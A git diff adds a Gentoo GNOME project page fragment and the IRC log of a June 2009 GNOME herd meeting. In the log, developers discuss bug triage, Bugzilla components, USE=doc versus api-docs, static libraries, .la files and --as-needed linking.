+  <th>Date</th>
+  <th>Attendance</th>
+  <th>Log</th>
+  <th>Summary</th>
+  <th>Comments</th>
+</tr>
+<tr>
+  <ti>June 15, 2009</ti>
+  <ti>eva, ford_prefect, leio, mrpouet (at the end), nirbheek, remi</ti>
+  <ti><uri link="meetings/2009/06-15.log.txt">2009-06-15</uri></ti>
+  <ti><uri link="meetings/2009/06-15.summary.txt">2009-06-15</uri></ti>
+  <ti>leio elected as new lead (dang on extended away); new herd member mrpouet</ti>
+</tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>ChangeLog</title>
+<section>
+<body>
+<table>
+<tr>
+  <th>Date</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>08 Oct 2005</ti>
+  <ti>
+    Start to fix up the project page. Fixed top half of page's GuideXML,
+    added members, took off old stuff that doesn't mean anything anymore, or
+    is incorrect.
+  </ti>
+</tr>
+<tr>
+  <ti>03 Aug 2006</ti>
+  <ti>
+    Move FAQ to separate page.  Link Policy page.  Change lead.
+  </ti>
+</tr>
+<tr>
+  <ti>28 Jan 2007</ti>
+  <ti>
+    Update team members/lead
+  </ti>
+</tr>
+<tr>
+  <ti>24 Mar 2009</ti>
+  <ti>
+    Update team members and projects.
+  </ti>
+</tr>
+<tr>
+  <ti>16 June 2009</ti>
+  <ti>
+    Update team members and lead. Remove historical task item. Gstreamer is an
+    individual herd now, separate from GNOME team.
+  </ti>
+</tr>
+<tr>
+  <ti>04 July 2009</ti>
+  <ti>
+    Add details about the first team meeting.
+  </ti>
+ </tr>
+</table>
+</body>
+  
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.log.txt b/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.log.txt
new file mode 100644
index 00000000..355d1249
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.log.txt
@@ -0,0 +1,847 @@
+**** BEGIN LOGGING AT Mon 2009
+
+*Now talking on ##gentoo-meetings
+*wolfe.freenode.net sets mode: +ns
+*You've invited EvaSDK to ##gentoo-meetings (wolfe.freenode.net)
+*You've invited remi` to ##gentoo-meetings (wolfe.freenode.net)
+*You've invited mraudsepp to ##gentoo-meetings (wolfe.freenode.net)
+*mraudsepp (n=leio@gentoo/developer/leio) has joined ##gentoo-meetings
+<nirbheek>	wheee
+*EvaSDK (n=eva@gentoo/developer/evasdk) has joined ##gentoo-meetings
+*gionnico (n=gionnico@host110-127-dynamic.46-79-r.retail.telecomitalia.it) has joined ##gentoo-meetings
+*gionnico (n=gionnico@host110-127-dynamic.46-79-r.retail.telecomitalia.it) has left ##gentoo-meetings: "Sto andando via"
+<nirbheek>	Where's remi`
+*leio (n=leio@gentoo/developer/leio) has joined ##gentoo-meetings
+<nirbheek>	He'll miss the discussion
+<nirbheek>	logs
+*gionnico (n=gionnico@host110-127-dynamic.46-79-r.retail.telecomitalia.it) has joined ##gentoo-meetings
+*DrEeevil (i=dreeevil@gentoo/developer/bonsaikitten) has joined ##gentoo-meetings
+<nirbheek>	http://is.gd/12uS5
+<nirbheek>	^ GNOME bugs
+*tanderson (n=gentoofa@gentoo/developer/gentoofan23) has joined ##gentoo-meetings
+<nirbheek>	tanderson, somewhat related: can we get #gentoo-meetings reinstated?
+<nirbheek>	It's unusable
+<mraudsepp>	weren't we at 250 bugs? This filters keywording?
+<tanderson>	What do you mean reinstated?
+<EvaSDK>	nirbheek: what's that query ?
+<EvaSDK>	I have 249 in my book
+<EvaSDK>	:)
+<nirbheek>	EvaSDK, oh :p
+<mraudsepp>	#gentoo-meetings has a keyword
+<nirbheek>	EvaSDK, it doesn't include gnome-office and gnome-mm
+<EvaSDK>	http://bugs.gentoo.org/buglist.cgi?query_format=advanced&short_desc_type=allwordssubstr&short_desc=&long_desc_type=substring&long_desc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=nowords&keywords=REQUEST%2C+STABLEREQ%2C+KEYWORDREQ&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_severity=blocker&bug_severity=critical&bug_severity=majo
+<mraudsepp>	channel password basically
+<EvaSDK>	and that's just for "important" stuff
+<mraudsepp>	my search doesn't include it either
+<tanderson>	mraudsepp: it does? I joined it no problem
+<mraudsepp>	I get 268 bugs
+<mraudsepp>	and that's _without_ CC=gnome that you have
+<nirbheek>	I used gnome@gentoo.org
+<EvaSDK>	paste
+<mraudsepp>	paste what? ;d
+<mraudsepp>	http://bugs.gentoo.org/buglist.cgi?cmdtype=runnamed&namedcmd=gnome
+<EvaSDK>	I exclude P4, ebuild request, QA and some low prio stuff like that, it's in another request
+<EvaSDK>	mraudsepp: fail :D
+*Ford_Prefect (n=ford_pre@gentoo/developer/ford-prefect) has joined ##gentoo-meetings
+<Ford_Prefect>	n819 ftw!
+<Ford_Prefect>	810 even
+<mraudsepp>	EvaSDK: call remi ;d
+<nirbheek>	EvaSDK, yeah, even arun is here now :p
+<nirbheek>	So, what's the definitive bugzie search for gnome bugs?
+<mraudsepp>	I don't understand what your search is.
+<mraudsepp>	I have 268 assignee=gnome and 102 CC=gnome bugs
+<Ford_Prefect>	assigned to gnome@ and fdo@ ?
+<Ford_Prefect>	makes sense
+<mraudsepp>	for those I have separate searches, but that makes even more
+<mraudsepp>	<nirbheek> http://is.gd/12uS5
+<mraudsepp>	^^ has like 150ish results only
+<nirbheek>	I did : assigned to, cced, reporter: gnome@gentoo.org
+<nirbheek>	Then
+<nirbheek>	I did : assigned to, cced, reporter: gnome.*@gentoo.org (regexp)
+<nirbheek>	That gave me 456
+<nirbheek>	421, sorry
+<mraudsepp>	yeah, sure, but what's that tinyurl about
+<nirbheek>	http://is.gd/12veZ
+<mraudsepp>	the one you gave before...
+<nirbheek>	That one has reporter, assignee, cc: gnome@gentoo.org
+<mraudsepp>	well, something is wrong
+<nirbheek>	Can we have all this in a single page?
+<mraudsepp>	assignee: gnome@gentoo.org is already 268
+<nirbheek>	EvaSDK, you're our top bug wrangler, how do you manage this stuff?
+<EvaSDK>	nirbheek: time
+<mraudsepp>	just pick a bug and solve it ;d
+<nirbheek>	EvaSDK, I meant, which bookmarks/saved searches :p
+<EvaSDK>	oh yeah, I have a few saved searches
+<EvaSDK>	generally gnome assigned + gnome CCed
+*remi` (n=remi@gentoo/developer/remi) has joined ##gentoo-meetings
+<EvaSDK>	then by level of interest, normal prio, inclusion, P4 ebuild request, QA, P5 low prio/long term stuff
+<EvaSDK>	mostly
+<Ford_Prefect>	does it make sense for us to use the priorities to well, prioritise?
+<EvaSDK>	yes it does
+<EvaSDK>	and using keywords as well
+<nirbheek>	Totally, let's decide that, and I'll compile it into a webpage
+<EvaSDK>	I feel inclusion keyword is really important for team work
+<nirbheek>	Yes, I agree
+<EvaSDK>	but not to be used lightly
+<nirbheek>	And doesn't mean "CommitBlindly"
+<mraudsepp>	nirbheek: http://www.gentoo.org/proj/en/desktop/gnome/gnome-policy.xml
+<remi`>	how about using those priorities ? => http://www.gentoo.org/proj/en/desktop/x/x11/maintaining.xml#doc_chap3
+<EvaSDK>	it should be ok to commit something that is marked for inclusion but it doesn't exclude testing
+<mraudsepp>	seems like a good starting point, like patching that maybe or maybe renaming.
+<mraudsepp>	gnome-policy.xml has our historical priorities meaning documentation
+<nirbheek>	mraudsepp, actually, we can link that webpage to the appriopriate pages
+<nirbheek>	*searches
+<nirbheek>	remi`, we should probably merge the x11 and gnome ones
+<Ford_Prefect>	I guess all that still makes perfect sense for us now too
+<EvaSDK>	remi`: nice stuff
+<remi`>	I'm pretty sure Donnie wrote that :)
+<mraudsepp>	our priorities explanation seems better
+<mraudsepp>	in gnome-policy
+<EvaSDK>	more developed at least
+<remi`>	the "queries" part is nice, we should copy it and make real links out of it
+<nirbheek>	remi`++
+<remi`>	that would help us and others out
+<nirbheek>	So we all agree both pages are awesome, and need love
+<remi`>	because right now, it's really hard to dive in
+<remi`>	nirbheek: you'll do the minutes?
+<nirbheek>	remi`, yes
+<mraudsepp>	I believe we just need a concentrated bug triaging and fixing when we aren't dealing with getting the newest GNOME in
+<mraudsepp>	reduce the count, keep it down, no overview loss happening with 50 open bugs
+<nirbheek>	mraudsepp, let's finish talking about how to organise our bugs first
+<remi`>	mraudsepp: sure but we're not there yet
+<nirbheek>	Then we can talk about how to handle the bugs themselves
+<nirbheek>	Right, "levels" of bugs
+<mraudsepp>	there would be nothing to organize when time is spent on fixing bugs instead of organizing them, imho
+<EvaSDK>	we should probably write something about closing bugs with TEST-REQUEST or NEEDINFO status more often
+<EvaSDK>	to encourage people providing feedback
+<nirbheek>	mraudsepp, sure, we'll do that too, but now we need to cut the bug list down, so we need to organise them, so let's do that ;p
+<EvaSDK>	that implies that when enough information is provided we can come up with either a solution on our side or pushing this stuff upstream
+<mraudsepp>	organizing them doesn't cut the bug list down
+<EvaSDK>	preferrably the user would do it at this point and we CC there
+<nirbheek>	EvaSDK, we'll need something similar to how gnome bugzie does for that to be usable
+<mraudsepp>	it merely hides bugs from view, the bugs still exist :(
+<EvaSDK>	nirbheek: that is ?
+<EvaSDK>	mraudsepp: it might exist
+<remi`>	mraudsepp: there's no hiding, it's just organizing
+<Ford_Prefect>	If we can find a lightweight organisation system, might be worth it
+<nirbheek>	EvaSDK, when the reporter comments on a NEEDINFO bug, the bug asks if the comment gives the information asked, and then reopens it automatically
+<EvaSDK>	if we can't reproduce it, what point is there is keeping it nagging at you ?
+<EvaSDK>	when you are looking at stuff you can fix I mean
+<mraudsepp>	ok, go on. I'm just continuing to always look at the full list and sort it by the column I find appropriate at the time.
+<EvaSDK>	nirbheek: we do have that or I dreamed it ?
+<remi`>	EvaSDK: you dreamt
+<nirbheek>	EvaSDK, gentoo doesn't, gnome bugzie has it (they have a lot of mods)
+<nirbheek>	Anyway, getting back to the original convo
+<nirbheek>	All those "levels" of bugs
+<remi`>	may I digress for just a moments :
+<nirbheek>	Okay, go on
+<remi`>	about the GNOME bugzie component, do we all agree to get rid of it?
+*EvaSDK has changed the topic to: gnome meeting-ish
+<EvaSDK>	yes
+<remi`>	or ask infra to make "ebuilds" or "apps" the default?
+<EvaSDK>	or at least change it's default assignee
+<remi`>	yes, that too
+<mraudsepp>	I like GNOME component because it saves me from typing gnome into the assignee box :)
+<nirbheek>	GNOME component helps power users who don't have bugzie powah, but wastes our time
+<remi`>	right, that's about the only advantage of it ;)
+<mraudsepp>	well, we merely component our little share to bug wrangling
+<mraudsepp>	err
+<mraudsepp>	well, we merely contribute our little share to bug wrangling
+*remi` does random bugwrangling from time to time
+<nirbheek>	mraudsepp, except the set of "we" is EvaSDK :p
+<remi`>	EvaSDK does a whole lot
+<Ford_Prefect>	Anyone remember what happened to the autoassign idea?
+<mraudsepp>	supposedly not once there's that organization. Basic organization means easy finding what hasn't been organized yet
+<nirbheek>	Ford_Prefect, lack of manpowah -- you're an infra dude, get to it!
+<mraudsepp>	and that little list is easy to reassign
+<nirbheek>	_actually_ this is a question we should as our power users
+<nirbheek>	*ask
+<nirbheek>	mrpouet, plaes, etc
+<Ford_Prefect>	can they cc usÅ
+<Ford_Prefect>	s/Å/?
+<nirbheek>	Yeah, they can
+<nirbheek>	So I suppose that solves the problem of getting that to our attention
+<nirbheek>	So, general consensus: Remove GNOME component, and power users etc can CC us
+<nirbheek>	Aye?
+<EvaSDK>	power users can directly assign
+<EvaSDK>	at least that's how I remember it
+<nirbheek>	EvaSDK, I didn't have powah when I was a power user :)
+<mraudsepp>	I find infra making it more clear to users that they shouldn't assign a component if they aren't sure more clear
+<mraudsepp>	there's no point in components at all otherwise
+<EvaSDK>	it's written in clear red text
+<EvaSDK>	right ?
+*Ford_Prefect wonders how many people who are not power users get the component right
+<EvaSDK>	how clearer could it be
+<nirbheek>	Ford_Prefect, I would say none since most are useless :p
+<Ford_Prefect>	We really want to minimise wrangler work, if possible.
+<mraudsepp>	maybe it should be "GNOME team maintained", not "GNOME" or something ;d
+<Ford_Prefect>	If the number who get it right is small, aye from me
+<nirbheek>	mraudsepp, too long :p
+<nirbheek>	Ford_Prefect, I meant, most components are useless
+<nirbheek>	There's too much noise in all that
+<EvaSDK>	well the real solution would be to implement auto-assign and get rid of that component stuff altogether
+<nirbheek>	EvaSDK++
+<nirbheek>	So, Ford_Prefect, do you volunteer to get that done?
+<mraudsepp>	I would actually take a different approach
+<mraudsepp>	but I don't see that happening from infra anytime soon
+<nirbheek>	mraudsepp, good, let's stick to the reasonably possible :p
+<Ford_Prefect>	I'll talk to Robin about what remains
+<nirbheek>	Kewl, so this is done -- after Ford_Prefect talks to Robin, we'll see what to do about the COMPONENT field
+<mraudsepp>	which would be to have a separate field for the specific package the bug (of type "ebuild") is about
+<mraudsepp>	with some AJAX to get a category/PN pair quickly. Easy to make component and assignment matches from there
+<nirbheek>	mraudsepp, DREAM ON :p
+<nirbheek>	mraudsepp, blog about it
+<nirbheek>	Next: bugzie template search page for prioritized bugs
+<nirbheek>	Keyword bugs, separate
+<nirbheek>	Tracker bugs, separate
+<nirbheek>	crashers should be Major
+<remi`>	nirbheek: ACK, let's create a small "maintenance" page in the gnome doc space
+<nirbheek>	remi`, that will take time to do, so for now I'll just make a small html page in my devspace
+<mraudsepp>	I can guidexmlify
+<nirbheek>	Excellent, so let's get the bugzie search links out now
+<remi`>	https://bugs.gentoo.org/buglist.cgi?query_format=advanced&short_desc_type=allwordssubstr&short_desc=&long_desc_type=substring&long_desc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&emailassigned_to1=1&emailtype1=exact&email1=gnome%40gentoo.org&emailtype2=substring&email2=&bugidtype=include&bug_id
+<remi`>	=&votes=&chfieldfrom=&chfieldto=Now&chfieldvalue=&cmdtype=doit&order=Bug+Number&field0-0-0=noop&type0-0-0=noop&value0-0-0=
+<remi`>	that's my base URL
+<nirbheek>	remi`, dude, that's long
+<EvaSDK>	fail
+<remi`>	can we shorten it?
+<mraudsepp>	as for saved searches, maybe a greasemonkey script with the saved searches is better
+<nirbheek>	remi`, is.gd
+<remi`>	nirbheek: ????
+<mraudsepp>	assuming we all use browsers that can have such scripts ;d
+<EvaSDK>	epiphany
+<nirbheek>	remi`, paste the http://is.gd URL
+<nirbheek>	mraudsepp, dude, one step at a time :p
+<nirbheek>	mraudsepp, let's get the URLs first ;p
+<EvaSDK>	works the same for basic stuff
+<remi`>	nirbheek: I have _no_ idea what you're talking about
+<mraudsepp>	I don't care for the urls, they are unreadable. Talk about search criteria
+<remi`>	mraudsepp: right, look at the x11 page I posted earlier
+<nirbheek>	remi`, you mean shorten the URL by removing redundant entries? I meant use a url shortner like tinyurl :p
+<remi`>	nirbheek: !good
+<mraudsepp>	and I think it's better to talk about it with a concrete proposal, we all have day-jobs going on too
+<nirbheek>	remi`, just for communicating with us, so we can click on them
+<mraudsepp>	except for nirbheek  ;d
+<nirbheek>	*stab*
+*Ford_Prefect (n=ford_pre@gentoo/developer/ford-prefect) has quit: Read error: 104 (Connection reset by peer)
+<remi`>	mraudsepp: agreed
+<remi`>	nirbheek: you do it?
+<nirbheek>	remi`, I'll compile the webpages
+<remi`>	great
+<nirbheek>	Just give me some criteria for searches
+<nirbheek>	Fine, I'll get a proposed criteria for the next meeting with a sample set of links
+<nirbheek>	Next up:
+<nirbheek>	How Much Does YOUR eclass sucks?
+<nirbheek>	-s
+<EvaSDK>	too much ?
+<nirbheek>	http://bugs.gentoo.org/show_bug.cgi?id=262491
+<EvaSDK>	I have no idea where we should stand on bug #256379
+<nirbheek>	http://bugs.gentoo.org/show_bug.cgi?id=262490
+<mraudsepp>	I think you need to start with writing down the relevant properties first (P1 means that, P2 means that, what relevant keywords are there, if and what severity choices mean, etc) and then think about search criteria amongst those
+<nirbheek>	Are the eclass fixes high-priority?
+<mraudsepp>	I don't think so.
+<nirbheek>	What about our inconsistent USE=doc meaning?
+<nirbheek>	gtk-doc results in rebuilding of docs
+<EvaSDK>	I think some of this stuff should really be done in a not too distant feature, it's just annoying to get open bugs for doc stuff for example
+<nirbheek>	And we unconditionally install api docs anyway
+<mraudsepp>	what open bugs?
+<mraudsepp>	yes, we should do that always.
+<remi`>	about USE=doc, dang had started doing some stuff on it
+<nirbheek>	mraudsepp, see those blocking the tracker bug "stupid USE=doc management in gnome2.eclass"
+<nirbheek>	mraudsepp, you want it, I don't
+<nirbheek>	Most don't
+<remi`>	he'd compared to identical chroots, one with USE=doc, the other with USE=-doc
+<remi`>	and I don't think he saw any differences between the two
+*Ford_Prefect (n=ford_pre@gentoo/developer/ford-prefect) has joined ##gentoo-meetings
+<nirbheek>	remi`, exactly, our USE=doc just rebuilds the documentation!
+<Ford_Prefect>	Yay, real keyboard.
+<nirbheek>	Ford_Prefect, congrats
+<mraudsepp>	nirbheek: All those depend bugs are INVALID as far as I'm concerned
+<EvaSDK>	for USE="gtk-doc" or doc, whatever, we should probably do "introspection" of the package if possible
+<remi`>	(shame he's not around to tell us what he found)
+<EvaSDK>	like eautomake does to some extent
+<mraudsepp>	I think the real solution is to find out the deal with cross-linking
+<EvaSDK>	remi`: that's probably due to enhancements done since 1.10
+<mraudsepp>	get gtkdoc-rebase installed always, I think it should be light and not depend on all that stylesheets stuff
+<mraudsepp>	and just don't need any USE=doc at all, as rebuilding is not necessary at all then, due to no benefits
+<EvaSDK>	is there a need for API docs if you're not a dev anyway ?
+<nirbheek>	EvaSDK, Yes. Which is why KDE folks got a new USE-flag called api-docs
+<EvaSDK>	I mean it's nothing like man pages that tell you how a command works
+<nirbheek>	DrEeevil, right?
+<EvaSDK>	api-docs sounds fine
+<mraudsepp>	well, something global for api specific stuff might work.
+<mraudsepp>	need to investigate that, should be a global thing then
+<DrEeevil>	nirbheek: no idea
+<EvaSDK>	we should decide on wether building gtk-doc or not is relevant at all these days
+<mraudsepp>	My standing understanding of USE=doc convention is
+<EvaSDK>	since gtkdoc-rebase is executed always if installed
+<remi`>	 +1 on USE=api-docs
+<mraudsepp>	a) If documentation means no extra big downloads or build times, unconditionally always install it without USE flag
+<mraudsepp>	b) If it means extra build time or non-trivial downloads, USE=doc
+<EvaSDK>	currently it means extra installed weight
+<nirbheek>	mraudsepp, it's purely about it being useless to 90% of the users
+<EvaSDK>	that might be complete shit for some users
+<remi`>	or we should actually support what USE=doc originally stands for :
+<remi`>	doc - Adds extra documentation (API, Javadoc, etc)
+<remi`>	meaning that USE=-doc does _not_ install API doc
+<Ford_Prefect>	Which is the same as "api-docs"
+<EvaSDK>	that would mean getting rid of it in most cases
+<nirbheek>	remi`, the 'etc' is very very vague :/
+<mraudsepp>	except that global description has been out of reality for years ;d
+<Ford_Prefect>	nirbheek, I don't think it's that vague
+<remi`>	mraudsepp: the local descriptions pretty much say the same thing
+<Ford_Prefect>	But I agree with remi` here
+<mraudsepp>	for me USE=doc is more like "download an extra HTML documentation pack and install it"
+<EvaSDK>	$ du -sh /usr/share/gtk-doc/
+<EvaSDK>	125M    /usr/share/gtk-doc/
+<remi`>	IMHO, USE=-doc should _not_ install documentation other than README and/or man pages
+<EvaSDK>	on my home system
+<EvaSDK>	it's not that big, but not that small as well
+<EvaSDK>	could help with livecd stuff
+<nirbheek>	remi`++
+<EvaSDK>	it not already excluded
+<mraudsepp>	so, find out what the deal is with crosslinking these days and we go from there
+<remi`>	EvaSDK: that could very well make gnome fit on the gentoo livecd if ever comes back to life
+<nirbheek>	So, we have three types of docs:
+<EvaSDK>	remi`: note that we should be able to just generate it by ourselves
+<nirbheek>	1) Yelp user-documentation, manpages, etc
+<nirbheek>	2) API documentation (pre-built, just install)
+<nirbheek>	2) API documentation (rebuild, uses gtk-doc)
+<remi`>	mraudsepp: that's what I told dang the other day, and apparently he didn't notice cross-linking to better any better or worse with USE=doc
+<mraudsepp>	last time I heard he hadn't looked at the right thing yet
+<remi`>	probably :)
+<nirbheek>	Okay, since we don't know the diff b/w rebuilding and pre-built yet, let's atleast split out into user and API docs
+<remi`>	but his method was right though
+<remi`>	identical chroots, turn on USE=doc, diff
+<nirbheek>	My goodness ;p
+<nirbheek>	Talk about brute force :D
+<nirbheek>	So, we all agree we need to rename to three types of docs?
+<nirbheek>	doc, api-doc, rebuild-api-doc ?
+<nirbheek>	(maybe not the third one :p)
+<nirbheek>	And maybe rebuild-doc too
+<mraudsepp>	no
+<nirbheek>	So, atleast doc and api-doc?
+<mraudsepp>	There's no use for doc then
+<nirbheek>	Yelp user documentation?
+<EvaSDK>	remi`: that's the wrong thing to do though
+*Ford_Prefect (n=ford_pre@gentoo/developer/ford-prefect) has quit: Read error: 104 (Connection reset by peer)
+*remi` thinks USE=doc should control user docs too
+<mraudsepp>	yelp user docs get always installed
+<mraudsepp>	we aren't making that optional
+<EvaSDK>	since the real check would be to make sure gtk-doc was never installed in the USE="-doc" chroot
+<EvaSDK>	yeah, mraudsepp++ on this one
+<mraudsepp>	for the record, /usr/share/gtk-doc contributes 16MB to livecd
+<mraudsepp>	likely a bit less
+<nirbheek>	That's huge for the live cd
+<nirbheek>	Not for the live dvd, but huge for live cd
+<mraudsepp>	test case: mksquashfs /usr/share/gtk-doc gtk-doc.squashfs
+*Ford_Prefect (n=ford_pre@gentoo/developer/ford-prefect) has joined ##gentoo-meetings
+<Ford_Prefect>	nirbheek, why would we not install user documentation?
+<nirbheek>	Ford_Prefect, maybe the user doesn't want it around
+<remi`>	here's a corollary question : do _our_ users read yelp docs?
+<EvaSDK>	remi`: that's not the point
+<nirbheek>	I personally _have_ to read klondike yelp docs for 99% of the extra games
+<remi`>	we're not ubuntu or fedora, do our users _need_ that doc? (it's a real question)
+<EvaSDK>	user documentation available through yelp is as important as man pages
+<nirbheek>	But for the rest, I don't even know if they exist
+<remi`>	EvaSDK: I think it's important, we're talking about user features here
+<nirbheek>	EvaSDK, yes, and man pages are often optional
+<EvaSDK>	nirbheek: not in gentoo
+<EvaSDK>	at least not when they do not require huge amount of deps
+<mraudsepp>	FEATURES=noman is there
+<EvaSDK>	right
+<EvaSDK>	but if we were to strip user docs, for that to be meaningful, we'd have to strip it from package compilation as well
+<EvaSDK>	since it takes a bloody amount of time as well
+<nirbheek>	That should be a simple sed of the Makefile to remove the subdir
+<EvaSDK>	well depends on the package
+<EvaSDK>	but really I'm not thrilled by removing that
+<Ford_Prefect>	I really wonder if it's worth the effort
+<EvaSDK>	whereas gtk-doc is a pain
+*Ford_Prefect needs to grab dinner before he passes out. Bbiab, will reply off-list if meeting ends by then.
+<nirbheek>	So what we all agree upon is this: gtk-doc is a pain, and USE=doc does not mean api-docs for most people
+<nirbheek>	Ford_Prefect, aight, I'll be posting minutes
+<Ford_Prefect>	Last comment - I'm in favour of renaming doc to api-doc to make the meaning very clear
+<nirbheek>	So step 1) USE=doc where it installs api docs should be renamed to api-docs
+<EvaSDK>	nirbheek: hum I'd rather put it this way, rebuilding gtk-doc looks useless nowadays, it's api-docs but people don't necesseraly realize this
+<Ford_Prefect>	Or dev-docs or something like that, so it's not library specific
+<nirbheek>	EvaSDK, yeah
+<nirbheek>	So fix to not rebuild, rather to control installation
+<nirbheek>	Then, rename to api-doc
+<remi`>	well, if we want to keep user docs, we might as well keep USE=doc for gtk-doc installation
+<EvaSDK>	yeah
+<remi`>	or we have a consensus on USE=api-doc ?
+<nirbheek>	That's what KDE is using iirc
+<remi`>	can't find it
+<EvaSDK>	I would argue that such use flag would probably be best discussed on -dev
+<nirbheek>	remi`, it was in their last meeting minutes
+<EvaSDK>	but not sure this would end well
+<nirbheek>	EvaSDK, Yes.
+<nirbheek>	I say KDE herd wants it done, if we do it too, then the discussion on -dev will be shorter
+<EvaSDK>	If we get kde/gnome/x11 on the same boat anyway...
+<nirbheek>	Exactly
+<remi`>	x11 installs no doc anyway ;) only man pages
+<nirbheek>	Then it should :p
+<remi`>	nirbheek: there are _no_ x docs, that's the beauty of x
+<remi`>	</digression>
+<EvaSDK>	or its uglyness
+<EvaSDK>	depends on how you see things
+<remi`>	EvaSDK: in X, beauty and ugliness are identical
+<EvaSDK>	1:1 relation ?
+<nirbheek>	They just redefined ugliness as beauty
+<remi`>	moving on, guys :)
+<EvaSDK>	next point ?
+<nirbheek>	Static Libraries
+<nirbheek>	What's our position on --disable-static ?
+<EvaSDK>	disable
+<EvaSDK>	and provide a use-flag if necessary
+<nirbheek>	Do we want USE=static-libs ?
+<mraudsepp>	only when appropriate
+<mraudsepp>	glib, C++ bindings
+<EvaSDK>	but in most case there is no need nor it is even tested
+<nirbheek>	Low-level, like libsoup?
+<remi`>	ACK on mraudsepp's list
+<mraudsepp>	no
+<remi`>	NAK for libsoup
+<mraudsepp>	C++ and stuff that wants to use the library but lives in / (as opposed to /usr)
+<remi`>	it's not critical
+<nirbheek>	So, things lower than libsoup, libgweather? :p
+<mraudsepp>	glib ships it unconditionally though, and that's fine.
+<nirbheek>	I mean, it's not difficult to put static-libs in the eclass...
+<remi`>	nirbheek: USE flag pollution
+<mraudsepp>	we don't need the static libs ever
+<EvaSDK>	yeah like remi said
+<mraudsepp>	they don't work
+<nirbheek>	Aight
+<nirbheek>	.la files?
+<EvaSDK>	they're not tested would be more correct
+<mraudsepp>	they are a source of undetected security vulnerabilities on users systems
+<remi`>	nirbheek: FTR, _anything_ above gtk will _fail_ with static linking
+<EvaSDK>	ho ?
+<nirbheek>	remi`, oh, hum so let's disable
+<remi`>	since gtk uses dynamic loading => fail
+<mraudsepp>	just disable until reasonable wanted otherwise, at which point we discuss
+<mraudsepp>	council is fine with that ;d
+<nirbheek>	hehehe
+<nirbheek>	Good, so if someone asks, then we see
+<nirbheek>	Else, disable with glee
+<mraudsepp>	yes, except glib.
+<nirbheek>	Yeah, as remi` said, anything above gtk+
+<nirbheek>	Now, .la files -- lafilefixer works wonderfully
+<mraudsepp>	unconditionally installed static lib there. If we want to put it behind static-libs there, we need to discuss that and talk through with syslog-ng maintainers
+<nirbheek>	How about we start dropping .la files?
+<mraudsepp>	Definitely no
+<nirbheek>	lafilefixer works wonderfully
+<EvaSDK>	should we move this to the eclass btw ?
+<mraudsepp>	I don't care ;d
+<mraudsepp>	it's not a solution.
+<EvaSDK>	lafilefixer is a hammer really
+<nirbheek>	mraudsepp, no distro. I repeat. No distro ships .la files.
+<mraudsepp>	nirbheek: they do. Check their -dev packages.
+<EvaSDK>	nirbheek: yes they do
+<nirbheek>	mraudsepp, those don't count :p
+<EvaSDK>	they do count...
+<mraudsepp>	nirbheek: it does. Our packages includes their -dev
+<nirbheek>	They shouldn't be shipped by default
+<EvaSDK>	well since our system is from source we can't escape it
+<mraudsepp>	implement portage support for package splits and we talk
+<nirbheek>	Yes, we can, if we don't need .la files for building
+<nirbheek>	Which means, no static building required
+<remi`>	with the current state of things, we should keep .la files for now
+<mraudsepp>	nirbheek: you don't know if some user needs or doesn't need them for building
+<mraudsepp>	nirbheek: you seriously don't know that, you can't pretend to know
+<nirbheek>	mraudsepp, what are .la files used for besides static building?
+<EvaSDK>	I'd say that if they build obscure stuff, they should fix it to use pkg-config but we are way beyond this point currently
+<mraudsepp>	dependency finding
+<mraudsepp>	whatever.
+<EvaSDK>	module loading
+<mraudsepp>	they could list *.la files in their linker line directly if they are stupid
+<EvaSDK>	weird arches stuff
+<nirbheek>	Gah. So we just postpone this.
+<nirbheek>	The reason why I brought this up is because it's related to the next topic
+<nirbheek>	Bad link-level deps which have nothing to do with the *DEPEND
+<nirbheek>	Partly solved by --as-needed
+<nirbheek>	Partly not
+<nirbheek>	We need scripts to detect this
+<EvaSDK>	that's pkg-config being in a state of a limbo
+<nirbheek>	I see. So we should keep an eye on this
+<EvaSDK>	some packages assume some behavior of pkgconfig that isn't true on all versions or distros
+<EvaSDK>	basically we're screwed from all sides with this
+<remi`>	IMHO, we have other issues than this :)
+<remi`>	s/other/bigger/
+<nirbheek>	The Libs.private stuff right
+<mraudsepp>	many GNOME libraries were made to use Requires.private properly
+<EvaSDK>	well it's probably a bigger problem than you can imagine, but it hasn't exploded yet so we can go on like this :)
+<nirbheek>	remi`, just pointing out that writing scripts for this should not be difficult, and it would be prudent to keep an eye on this stuff (since fixing is not important right now)
+<mraudsepp>	I have a plan for --as-needed QA, I need to write it up
+<nirbheek>	mraudsepp, there's been activity on the as-needed by default bug
+<mraudsepp>	I don't mean --as-needed by default
+<EvaSDK>	oh btw guys, while you are all around, I'd like you to checkout my git hooks in my devspace, use them, enhance them, ...
+<mraudsepp>	patch binutils to issue a warning when --as-needed actually drops a DT_NEEDED entry
+<mraudsepp>	catch with portage and issue a QA warning on that
+<mraudsepp>	then you can figure out what pkg-config file is stupid
+<mraudsepp>	and fix it upstream
+<nirbheek>	EvaSDK, put them into the git overlay :p
+<EvaSDK>	nirbheek: that's not really suited imho
+<nirbheek>	EvaSDK, no, I meant like in scripts/
+<nirbheek>	mraudsepp, I don't know anything about that, so that'll go into minutes as being owned by you :p
+<EvaSDK>	nirbheek: yeah I understood that
+<remi`>	EvaSDK: overlay git hooks?
+<mraudsepp>	nirbheek: it's not a GNOME project.
+<nirbheek>	mraudsepp, but it affects us, it's going into the minutes :p
+<nirbheek>	We really want --as-needed since it helps with things like gnome-desktop API going bai bai
+<nirbheek>	Why do they have to keep doing .soname bumps <.<
+<mraudsepp>	nirbheek: we don't need --as-needed if --as-needed doesn't filter out anything (.pc files aren't bad, crappy libtool .la files don't get used)
+<remi`>	mraudsepp: even in a perfect pkg-config world, --as-needed is still needed if we have .la files lying around
+<mraudsepp>	so --as-needed isn't needed for users if the packages don't get useless DT_NEEDED entries in the first place
+<mraudsepp>	not necessarily
